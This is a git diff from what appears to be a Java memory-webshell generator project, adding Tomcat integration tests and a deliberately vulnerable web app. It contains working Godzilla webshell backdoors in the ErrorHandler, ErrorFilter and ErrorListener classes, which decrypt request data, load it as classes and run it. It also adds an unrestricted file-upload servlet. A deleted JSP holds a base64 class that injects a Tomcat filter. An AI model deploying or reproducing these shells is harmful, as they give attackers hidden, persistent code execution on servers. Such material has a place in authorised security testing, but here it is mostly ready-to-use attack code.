testGodzillaValve() { + String shellType = TomcatShell.JAKARTA_VALVE; + testSpecificJdkGodzilla(getUrl(), tomcat10ImageName, shellType, Opcodes.V11); + } + + @Test + void testGodzillaListener() { + String shellType = TomcatShell.JAKARTA_LISTENER; + testSpecificJdkGodzilla(getUrl(), tomcat10ImageName, shellType, Opcodes.V11); + } + } + + @Nested + class Tomcat11Godzilla { + + @Container + public final GenericContainer tomcat11 = new GenericContainer<>(tomcat11ImageName) + .withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + public String getUrl() { + String host = tomcat11.getHost(); + int port = tomcat11.getMappedPort(8080); + String url = "http://" + host + ":" + port + "/app"; + log.info("container started, app url is : {}", url); + return url; + } + + @Test + void testGodzillaFilter() { + String shellType = TomcatShell.JAKARTA_FILTER; + testSpecificJdkGodzilla(getUrl(), tomcat11ImageName, shellType, Opcodes.V17); + } + + @Test + void testGodzillaValve() { + String shellType = TomcatShell.JAKARTA_VALVE; + testSpecificJdkGodzilla(getUrl(), tomcat11ImageName, shellType, Opcodes.V17); + } + + @Test + void testGodzillaListener() { + String shellType = TomcatShell.JAKARTA_LISTENER; + testSpecificJdkGodzilla(getUrl(), tomcat11ImageName, shellType, Opcodes.V17); + } + } + + + private void testGodzilla(String url, String imageName, String shellType) { + testSpecificJdkGodzilla(url, imageName, shellType, Constants.DEFAULT_VERSION); + } + + private void testSpecificJdkGodzilla(String url, String imageName, String shellType, int targetJdkVersion) { + String pass = "pass" + shellType; + String key = "key" + shellType; + String headerValue = imageName + "Godzilla" + shellType; + GodzillaShellConfig shellConfig = GodzillaShellConfig.builder() + .pass(pass).key(key) + .headerName("User-Agent").headerValue(headerValue) + .build(); + String jspContent = generateGodzillaJsp(shellConfig, shellType, targetJdkVersion); + log.info("generated {} godzilla with pass: {}, key: {}, headerValue: {}", shellType, pass, key, headerValue); + String filename = shellType + ".jsp"; + String uploadEntry = url + "/upload"; + String jspEntry = url + "/" + filename; + uploadJspFileToServer(uploadEntry, filename, jspContent); + verifyContainerResponse(jspEntry); + testGodzillaIsOk(jspEntry, shellConfig); + } +} \ No newline at end of file diff --git a/settings.gradle b/settings.gradle index 38482584..ce3e1bdc 100644 --- a/settings.gradle +++ b/settings.gradle @@ -1,3 +1,6 @@ rootProject.name = 'MemShellParty' + +include 'generator' include 'vul-webapp' -include 'generator' \ No newline at end of file +include 'vul-webapp-jakarta' +include 'integration-test' \ No newline at end of file diff --git a/vul-webapp-jakarta/build.gradle b/vul-webapp-jakarta/build.gradle new file mode 100644 index 00000000..33a92aed --- /dev/null +++ b/vul-webapp-jakarta/build.gradle @@ -0,0 +1,15 @@ +plugins { + id 'war' +} + +group = 'com.reajason.javaweb.vul' +version = '' + +repositories { + mavenCentral() +} + +dependencies { + implementation 'commons-fileupload:commons-fileupload:1.5' + providedCompile 'jakarta.servlet:jakarta.servlet-api:5.0.0' +} \ No newline at end of file diff --git a/vul-webapp-jakarta/src/main/java/ErrorHandler.java b/vul-webapp-jakarta/src/main/java/ErrorHandler.java new file mode 100644 index 00000000..007cc8f4 --- /dev/null +++ b/vul-webapp-jakarta/src/main/java/ErrorHandler.java @@ -0,0 +1,147 @@ +import jakarta.servlet.Filter; +import jakarta.servlet.FilterChain; +import jakarta.servlet.ServletException; +import jakarta.servlet.ServletRequest; +import jakarta.servlet.ServletResponse; +import jakarta.servlet.http.HttpServletRequest; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.servlet.http.HttpSession; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; + +public class ErrorHandler extends ClassLoader implements Filter { + public String key = "7b74f5d44e20fd71"; + public String pass = "passFilter"; + public String md5 = "6DA9A394180B0155C7CC6714A0B2179E"; + public String headerName = "User-Agent"; + public String headerValue = "test"; + public static boolean isBypassModule; + + public ErrorHandler() { + } + + public ErrorHandler(ClassLoader var1) { + super(var1); + } + + public Class Q(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + public byte[] x(byte[] s, boolean m) { + try { + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec(this.key.getBytes(), "AES")); + return c.doFinal(s); + } catch (Exception var41) { + return null; + } + } + + @Override + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException { + HttpServletRequest request = (HttpServletRequest)servletRequest; + HttpServletResponse response = (HttpServletResponse)servletResponse; + + try { + if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) { + HttpSession session = request.getSession(); + byte[] data = base64Decode(request.getParameter(this.pass)); + data = this.x(data, false); + if (session.getAttribute("payload") == null) { + session.setAttribute("payload", (new ErrorHandler(this.getClass().getClassLoader())).Q(data)); + } else { + request.setAttribute("parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + + Object f; + try { + f = ((Class)session.getAttribute("payload")).newInstance(); + } catch (IllegalAccessException | InstantiationException e) { + throw new RuntimeException(e); + } + + f.equals(arrOut); + f.equals(request); + response.getWriter().write(this.md5.substring(0, 16)); + f.toString(); + response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); + response.getWriter().write(this.md5.substring(16)); + } + } else { + chain.doFilter(servletRequest, servletResponse); + } + } catch (Exception var12) { + chain.doFilter(servletRequest, servletResponse); + } + + } + + public static String base64Encode(byte[] bs) throws Exception { + String value = null; + + try { + Class base64 = Class.forName("java.util.Base64"); + Object encoder = base64.getMethod("getEncoder", (Class[])null).invoke(base64, (Object[])null); + value = (String)encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); + } catch (Exception var61) { + try { + Class base64 = Class.forName("sun.misc.BASE64Encoder"); + Object encoder = base64.newInstance(); + value = (String)encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); + } catch (Exception var5) { + } + } + + return value; + } + + public static byte[] base64Decode(String bs) { + byte[] value = null; + + try { + Class base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[])null).invoke(base64, (Object[])null); + value = (byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var61) { + try { + Class base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[])decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception var5) { + } + } + + return value; + } + + public static Object byPassJdkModule() { + Boolean var0 = false; + + try { + Class var1 = Class.forName("sun.misc.Unsafe"); + Field var2 = var1.getDeclaredField("theUnsafe"); + var2.setAccessible(true); + Object var3 = var2.get((Object)null); + Method var4 = Class.class.getMethod("getModule"); + Object var5 = var4.invoke(Object.class, (Object[])null); + Method var6 = var3.getClass().getMethod("objectFieldOffset", Field.class); + Field var7 = Class.class.getDeclaredField("module"); + Long var8 = (Long)var6.invoke(var3, var7); + Method var9 = var3.getClass().getMethod("getAndSetObject", Object.class, Long.TYPE, Object.class); + var9.invoke(var3, ErrorHandler.class, var8, var5); + var0 = true; + } catch (Exception var10) { + } + + return var0; + } + + static { + byPassJdkModule(); + } +} diff --git a/vul-webapp-jakarta/src/main/java/UploadServlet.java b/vul-webapp-jakarta/src/main/java/UploadServlet.java new file mode 100644 index 00000000..ae2bd2b1 --- /dev/null +++ b/vul-webapp-jakarta/src/main/java/UploadServlet.java @@ -0,0 +1,46 @@ +import jakarta.servlet.ServletException; +import jakarta.servlet.annotation.MultipartConfig; +import jakarta.servlet.http.HttpServlet; +import jakarta.servlet.http.HttpServletRequest; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.servlet.http.Part; +import org.apache.commons.io.IOUtils; + +import java.io.File; +import java.io.IOException; +import java.io.InputStream; +import java.nio.file.Files; + +/** + * @author ReaJason + * @since 2024/11/26 + */ +@MultipartConfig( + fileSizeThreshold = 1024 * 1024, + maxFileSize = 1024 * 1024 * 5, + maxRequestSize = 1024 * 1024 * 5 * 5 +) +public class UploadServlet extends HttpServlet { + + private static final String UPLOAD_DIRECTORY = "/"; + + @Override + protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + Part file = request.getPart("file"); + String fileName = getFileName(file); + String uploadPath = getServletContext().getRealPath(UPLOAD_DIRECTORY) + fileName; + InputStream inputStream = file.getInputStream(); + File uploadFile = new File(uploadPath); + IOUtils.copy(inputStream, Files.newOutputStream(uploadFile.toPath())); + response.getWriter().println("file upload success: " + uploadPath); + } + + private String getFileName(Part part) { + for (String content : part.getHeader("content-disposition").split(";")) { + if (content.trim().startsWith("filename")) { + return content.substring(content.indexOf("=") + 2, content.length() - 1); + } + } + return "shell.jsp"; + } +} \ No newline at end of file diff --git a/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml b/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml new file mode 100644 index 00000000..27a96152 --- /dev/null +++ b/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml @@ -0,0 +1,29 @@ + + + + index.html + + + + upload + UploadServlet + + + upload + /upload + + + godzilla + ErrorHandler + + + godzilla + /* + + \ No newline at end of file diff --git a/vul-webapp-jakarta/src/main/webapp/index.html b/vul-webapp-jakarta/src/main/webapp/index.html new file mode 100644 index 00000000..653debaa --- /dev/null +++ b/vul-webapp-jakarta/src/main/webapp/index.html @@ -0,0 +1 @@ +

hello

\ No newline at end of file diff --git a/vul-webapp/build.gradle b/vul-webapp/build.gradle index 75e7acc4..286f204f 100644 --- a/vul-webapp/build.gradle +++ b/vul-webapp/build.gradle @@ -5,14 +5,16 @@ plugins { group = 'com.reajason.javaweb.vul' version = '' +repositories { + mavenCentral() +} + java { - toolchain { - languageVersion = JavaLanguageVersion.of(8) - } + sourceCompatibility = JavaVersion.VERSION_1_6 + targetCompatibility = JavaVersion.VERSION_1_6 } dependencies { - implementation 'commons-fileupload:commons-fileupload:1.5' + implementation 'commons-fileupload:commons-fileupload:1.3.3' providedCompile "javax.servlet:servlet-api:2.5" - providedCompile 'jakarta.servlet:jakarta.servlet-api:5.0.0' } \ No newline at end of file diff --git a/vul-webapp/src/main/java/ErrorHandler.java b/vul-webapp/src/main/java/ErrorFilter.java similarity index 92% rename from vul-webapp/src/main/java/ErrorHandler.java rename to vul-webapp/src/main/java/ErrorFilter.java index a105e1e5..803a1cea 100644 --- a/vul-webapp/src/main/java/ErrorHandler.java +++ b/vul-webapp/src/main/java/ErrorFilter.java @@ -12,17 +12,17 @@ import java.io.IOException; * @author ReaJason * @since 2024/11/26 */ -public class ErrorHandler extends ClassLoader implements Filter { +public class ErrorFilter extends ClassLoader implements Filter { public String key = "3c6e0b8a9c15224a"; public String pass = "pass"; public String md5 = "11CD6A87589841636C37AC826A2A04BC"; public String headerName = "User-Agent"; public String headerValue = "test"; - public ErrorHandler() { + public ErrorFilter() { } - public ErrorHandler(ClassLoader var1) { + public ErrorFilter(ClassLoader var1) { super(var1); } @@ -56,7 +56,7 @@ public class ErrorHandler extends ClassLoader implements Filter { byte[] data = base64Decode(request.getParameter(this.pass)); data = this.x(data, false); if (session.getAttribute("payload") == null) { - session.setAttribute("payload", (new ErrorHandler(this.getClass().getClassLoader())).Q(data)); + session.setAttribute("payload", (new ErrorFilter(this.getClass().getClassLoader())).Q(data)); } else { request.setAttribute("parameters", data); ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); @@ -64,7 +64,7 @@ public class ErrorHandler extends ClassLoader implements Filter { Object f; try { f = ((Class) session.getAttribute("payload")).newInstance(); - } catch (IllegalAccessException | InstantiationException e) { + } catch (Exception e) { throw new RuntimeException(e); } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaJakartaListener.java b/vul-webapp/src/main/java/ErrorListener.java similarity index 50% rename from generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaJakartaListener.java rename to vul-webapp/src/main/java/ErrorListener.java index 9711b6e4..394650c3 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaJakartaListener.java +++ b/vul-webapp/src/main/java/ErrorListener.java @@ -1,33 +1,27 @@ -package com.reajason.javaweb.memsell.tomcat.godzilla; - -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; -import jakarta.servlet.ServletRequestEvent; -import jakarta.servlet.ServletRequestListener; -import jakarta.servlet.http.HttpServletRequest; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.servlet.http.HttpSession; import java.io.ByteArrayOutputStream; import java.lang.reflect.Field; +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; -/** - * @author ReaJason - */ -public class GodzillaJakartaListener extends ClassLoader implements ServletRequestListener { - public String md5; - public String pass; - public String key; - public String headerName; - public String headerValue; +public class ErrorListener extends ClassLoader implements ServletRequestListener { + public String md5 = "4B9B4A9EEB3F82A06A5D643C57E87B54"; + public String pass = "passListener"; + public String key = "4fe60e3b9193d6bd"; + public String headerName = "User-Agent"; + public String headerValue = "test"; - public GodzillaJakartaListener() { + public ErrorListener() { } - public GodzillaJakartaListener(ClassLoader z) { - super(z); + public ErrorListener(ClassLoader var1) { + super(var1); } - @SuppressWarnings("all") public static synchronized Object getFieldValue(Object obj, String name) throws Exception { Field field = null; Class clazz = obj.getClass(); @@ -47,45 +41,43 @@ public class GodzillaJakartaListener extends ClassLoader implements ServletReque } } - @SuppressWarnings("all") public static String base64Encode(byte[] bs) throws Exception { String value = null; - Class base64; try { - base64 = Class.forName("java.util.Base64"); - Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); - } catch (Exception var6) { + Class base64 = Class.forName("java.util.Base64"); + Object encoder = base64.getMethod("getEncoder", (Class[])null).invoke(base64, (Object[])null); + value = (String)encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); + } catch (Exception var61) { try { - base64 = Class.forName("sun.misc.BASE64Encoder"); + Class base64 = Class.forName("sun.misc.BASE64Encoder"); Object encoder = base64.newInstance(); - value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); - } catch (Exception ignored) { + value = (String)encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); + } catch (Exception var5) { } } + return value; } - @SuppressWarnings("all") public static byte[] base64Decode(String bs) { byte[] value = null; - Class base64; + try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { + Class base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[])null).invoke(base64, (Object[])null); + value = (byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var61) { try { - base64 = Class.forName("sun.misc.BASE64Decoder"); + Class base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception ignored) { + value = (byte[])decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception var5) { } } + return value; } - @SuppressWarnings("all") public Class Q(byte[] cb) { return super.defineClass(cb, 0, cb.length); } @@ -93,52 +85,56 @@ public class GodzillaJakartaListener extends ClassLoader implements ServletReque public byte[] x(byte[] s, boolean m) { try { Cipher c = Cipher.getInstance("AES"); - c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); + c.init(m ? 1 : 2, new SecretKeySpec(this.key.getBytes(), "AES")); return c.doFinal(s); - } catch (Exception var4) { + } catch (Exception var41) { return null; } } @Override - @SuppressWarnings("all") + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + @Override public void requestInitialized(ServletRequestEvent servletRequestEvent) { - HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + HttpServletRequest request = (HttpServletRequest)servletRequestEvent.getServletRequest(); + try { - if (request.getHeader(headerName) != null - && request.getHeader(headerName).contains(headerValue)) { + if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) { HttpServletResponse response = this.getResponseFromRequest(request); HttpSession session = request.getSession(); - byte[] data = base64Decode(request.getParameter(pass)); + byte[] data = base64Decode(request.getParameter(this.pass)); data = this.x(data, false); if (session.getAttribute("payload") == null) { - session.setAttribute( - "payload", - (new GodzillaJakartaListener(this.getClass().getClassLoader())).Q(data)); + session.setAttribute("payload", (new ErrorFilter(this.getClass().getClassLoader())).Q(data)); } else { request.setAttribute("parameters", data); ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = ((Class) session.getAttribute("payload")).newInstance(); + Object f = ((Class)session.getAttribute("payload")).newInstance(); f.equals(arrOut); f.equals(request); - response.getWriter().write(md5.substring(0, 16)); + response.getWriter().write(this.md5.substring(0, 16)); f.toString(); response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); - response.getWriter().write(md5.substring(16)); + response.getWriter().write(this.md5.substring(16)); response.flushBuffer(); } } - } catch (Exception ignored) { + } catch (Exception var8) { } + } private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { HttpServletResponse response = null; + try { - response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); - } catch (Exception e) { - response = (HttpServletResponse) getFieldValue(request, "response"); + response = (HttpServletResponse)getFieldValue(getFieldValue(request, "request"), "response"); + } catch (Exception var4) { + response = (HttpServletResponse)getFieldValue(request, "response"); } + return response; } } diff --git a/vul-webapp/src/main/webapp/WEB-INF/web.xml b/vul-webapp/src/main/webapp/WEB-INF/web.xml index 9fa47757..0977e1f3 100644 --- a/vul-webapp/src/main/webapp/WEB-INF/web.xml +++ b/vul-webapp/src/main/webapp/WEB-INF/web.xml @@ -24,6 +24,10 @@ /upload + + ErrorListener + + diff --git a/vul-webapp/src/main/webapp/test.jsp b/vul-webapp/src/main/webapp/test.jsp deleted file mode 100644 index cff82dfd..00000000 --- a/vul-webapp/src/main/webapp/test.jsp +++ /dev/null @@ -1,36 +0,0 @@ -<%! - public byte[] decodeBase64(String bytecodeBase64) { - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - try { - Class base64Clz = classLoader.loadClass("java.util.Base64"); - Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder"); - Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz); - return (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, bytecodeBase64); - } catch (Exception ee) { - try { - Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter"); - return (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, bytecodeBase64); - } catch (Exception e) { - return null; - } - } - } -%> - -<% - String className = "com.fasterxml.jackson.sfvnZ.ReportUtil"; - String base64Str = "yv66vgAAAD0BugoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAQWNvbS9yZWFqYXNvbi9qYXZhd2ViL21lbXNlbGwvdG9tY2F0L2luamVjdG9yL1RvbWNhdEZpbHRlckluamVjdG9yAQAKZ2V0Q29udGV4dAEAEigpTGphdmEvdXRpbC9MaXN0OwsADgAPBwAQDAARABIBAA5qYXZhL3V0aWwvTGlzdAEACGl0ZXJhdG9yAQAWKClMamF2YS91dGlsL0l0ZXJhdG9yOwsAFAAVBwAWDAAXABgBABJqYXZhL3V0aWwvSXRlcmF0b3IBAAdoYXNOZXh0AQADKClaCwAUABoMABsAHAEABG5leHQBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwoACAAeDAAfACABAAlnZXRGaWx0ZXIBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoACAAiDAAjACQBAAlhZGRGaWx0ZXIBACcoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KVYHACYBABNqYXZhL2xhbmcvRXhjZXB0aW9uCAAoAQACLyoIACoBAAAIACwBABZzdW4ubWlzYy5CQVNFNjREZWNvZGVyCgAuAC8HADAMADEAMgEAD2phdmEvbGFuZy9DbGFzcwEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7CAA0AQAMZGVjb2RlQnVmZmVyBwA2AQAQamF2YS9sYW5nL1N0cmluZwoALgA4DAA5ADoBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7CgAuADwMAD0AHAEAC25ld0luc3RhbmNlCgA/AEAHAEEMAEIAQwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwcARQEAAltCCABHAQAQamF2YS51dGlsLkJhc2U2NAgASQEACmdldERlY29kZXIKAAIASwwATABNAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7CABPAQAGZGVjb2RlBwBRAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0KAFAAAwcAVAEAHGphdmEvaW8vQnl0ZUFycmF5SW5wdXRTdHJlYW0KAFMAVgwABQBXAQAFKFtCKVYHAFkBAB1qYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbQoAWABbDAAFAFwBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYKAFgAXgwAXwBgAQAEcmVhZAEABShbQilJCgBQAGIMAGMAZAEABXdyaXRlAQAHKFtCSUkpVgoAUABmDABnAGgBAAt0b0J5dGVBcnJheQEABCgpW0IKAC4AagwAawBsAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwcAbgEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgoALgBwDABxAE0BAA1nZXRTdXBlcmNsYXNzCgBtAHMMAAUAdAEAFShMamF2YS9sYW5nL1N0cmluZzspVgoAdgB3BwB4DAB5AHoBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEADXNldEFjY2Vzc2libGUBAAQoWilWCgB2AHwMAH0AIAEAA2dldAoACAB/DACAAIEBAAxpbnZva2VNZXRob2QBAF0oTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsKAC4AgwwAhACFAQASZ2V0RGVjbGFyZWRNZXRob2RzAQAdKClbTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsKAD8AhwwAiACJAQAHZ2V0TmFtZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7CgA1AIsMAIwAjQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgoAPwCPDACQAJEBABFnZXRQYXJhbWV0ZXJUeXBlcwEAFCgpW0xqYXZhL2xhbmcvQ2xhc3M7CgAuAJMMAJQAOgEAEWdldERlY2xhcmVkTWV0aG9kBwCWAQAfamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbgoAlQBzCgA/AHcHAJoBACBqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgcAnAEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uCgCZAJ4MAJ8AiQEACmdldE1lc3NhZ2UKAJsAcwcAogEAE2phdmEvdXRpbC9BcnJheUxpc3QKAKEAAwcApQEAEGphdmEvbGFuZy9UaHJlYWQIAKcBAApnZXRUaHJlYWRzCgAIAKkMAIAAqgEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7BwCsAQATW0xqYXZhL2xhbmcvVGhyZWFkOwoApACHCACvAQAcQ29udGFpbmVyQmFja2dyb3VuZFByb2Nlc3NvcgoANQCxDACyALMBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWggAtQEABnRhcmdldAoACAC3DAC4AKoBAA1nZXRGaWVsZFZhbHVlCAC6AQAGdGhpcyQwCAC8AQAIY2hpbGRyZW4HAL4BABFqYXZhL3V0aWwvSGFzaE1hcAoAvQDADADBAMIBAAZrZXlTZXQBABEoKUxqYXZhL3V0aWwvU2V0OwsAxAAPBwDFAQANamF2YS91dGlsL1NldAoAvQB8CgAuAIcIAMkBAA9TdGFuZGFyZENvbnRleHQLAA4AywwAzACNAQADYWRkCADOAQAVVG9tY2F0RW1iZWRkZWRDb250ZXh0CgCkANAMANEA0gEAFWdldENvbnRleHRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsKAC4A1AwA1QCJAQAIdG9TdHJpbmcIANcBABlQYXJhbGxlbFdlYmFwcENsYXNzTG9hZGVyCADZAQAfVG9tY2F0RW1iZWRkZWRXZWJhcHBDbGFzc0xvYWRlcggA2wEACXJlc291cmNlcwgA3QEAB2NvbnRleHQKAJsA3wwABQDgAQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWCgCkAOIMAOMA5AEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwoALgDmDADnANIBAA5nZXRDbGFzc0xvYWRlcgoACADpDADqAIkBAAxnZXRDbGFzc05hbWUKAOwA7QcA7gwA7wAyAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQAJbG9hZENsYXNzCgAIAPEMAPIAiQEAD2dldEJhc2U2NFN0cmluZwoACAD0DAD1APYBAAxkZWNvZGVCYXNlNjQBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCCgAIAPgMAPkA+gEADmd6aXBEZWNvbXByZXNzAQAGKFtCKVtCCAD8AQALZGVmaW5lQ2xhc3MJAP4A/wcBAAwBAQECAQARamF2YS9sYW5nL0ludGVnZXIBAARUWVBFAQARTGphdmEvbGFuZy9DbGFzczsKAP4BBAwBBQEGAQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsHAQgBABNqYXZhL2xhbmcvVGhyb3dhYmxlCgAIAQoMAQsA0gEAEWdldENhdGFsaW5hTG9hZGVyCgAuAQ0MAQ4AiQEADWdldFNpbXBsZU5hbWUIARABAA1maW5kRmlsdGVyRGVmCAESAQAvb3JnLmFwYWNoZS50b21jYXQudXRpbC5kZXNjcmlwdG9yLndlYi5GaWx0ZXJEZWYIARQBAC9vcmcuYXBhY2hlLnRvbWNhdC51dGlsLmRlc2NyaXB0b3Iud2ViLkZpbHRlck1hcAgBFgEAJG9yZy5hcGFjaGUuY2F0YWxpbmEuZGVwbG95LkZpbHRlckRlZggBGAEAJG9yZy5hcGFjaGUuY2F0YWxpbmEuZGVwbG95LkZpbHRlck1hcAoALgEaDAAxARsBAD0oTGphdmEvbGFuZy9TdHJpbmc7WkxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7KUxqYXZhL2xhbmcvQ2xhc3M7CAEdAQANc2V0RmlsdGVyTmFtZQgBHwEADnNldEZpbHRlckNsYXNzCAEhAQAMYWRkRmlsdGVyRGVmCAEjAQANc2V0RGlzcGF0Y2hlcggBJQEAB1JFUVVFU1QIAScBAA1hZGRVUkxQYXR0ZXJuCgAIASkMASoAiQEADWdldFVybFBhdHRlcm4IASwBADBvcmcuYXBhY2hlLmNhdGFsaW5hLmNvcmUuQXBwbGljYXRpb25GaWx0ZXJDb25maWcKAC4BLgwBLwEwAQAXZ2V0RGVjbGFyZWRDb25zdHJ1Y3RvcnMBACIoKVtMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7CAEyAQANc2V0VVJMUGF0dGVybggBNAEAEmFkZEZpbHRlck1hcEJlZm9yZQgBNgEADGFkZEZpbHRlck1hcAoBOAB3BwE5AQAdamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3IKATgBOwwAPQE8AQAnKFtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7CAE+AQANZmlsdGVyQ29uZmlncwcBQAEADWphdmEvdXRpbC9NYXALAT8BQgwBQwFEAQADcHV0AQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsKACUBRgwBRwAGAQAPcHJpbnRTdGFja1RyYWNlCgAIAAMBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAGZmlsdGVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQAIY29udGV4dHMBABBMamF2YS91dGlsL0xpc3Q7AQAEdGhpcwEAQ0xjb20vcmVhamFzb24vamF2YXdlYi9tZW1zZWxsL3RvbWNhdC9pbmplY3Rvci9Ub21jYXRGaWx0ZXJJbmplY3RvcjsBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQAkTGphdmEvdXRpbC9MaXN0PExqYXZhL2xhbmcvT2JqZWN0Oz